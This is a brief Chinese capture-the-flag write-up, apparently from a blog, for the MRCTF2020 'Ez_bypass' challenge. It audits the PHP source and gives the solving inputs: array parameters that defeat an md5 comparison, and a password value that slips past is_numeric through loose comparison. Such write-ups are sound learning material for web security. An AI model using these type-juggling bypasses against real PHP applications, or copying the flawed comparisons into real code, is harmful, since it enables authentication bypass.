[MRCTF2020]Ez_bypass 1

[MRCTF2020]Ez_bypass 1

https://buuoj.cn/


解题点:
1.MD5强碰撞
2.is_numerice() 绕过


代码审计:

if(isset($_GET['gg'])&&isset($_GET['id'])) 
{ 
    $id=$_GET['id']; 
    $gg=$_GET['gg']; 
    if (md5($id) === md5($gg) && $id !== $gg) 
    { echo 'You got the first step'; 
        if(isset($_POST['passwd'])) 
        { $passwd=$_POST['passwd']; 
            if (!is_numeric($passwd)) 
            { if($passwd==1234567) 
                { echo 'Good Job!'; 
                    highlight_file('flag.php'); 
                    die('By Retr_0'); } 
                else { echo "can you think twice??"; } 
            } else{ echo 'You can not get it !'; } 
        } else{ die('only one way to get the flag'); } 
    } else { echo "You are not a real hacker!"; } 
} else{ die('Please input first'); } }

MD5碰撞用数组绕过:

?gg[]=111&id[]=222

passwd经过!is_numerice()不能为数字,且要弱等于1234567,即:

passwd=1234567a

唉


参考:
https://www.cnblogs.com/xhds/p/12312223.html
https://www.cnblogs.com/Zhu013/p/11465859.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值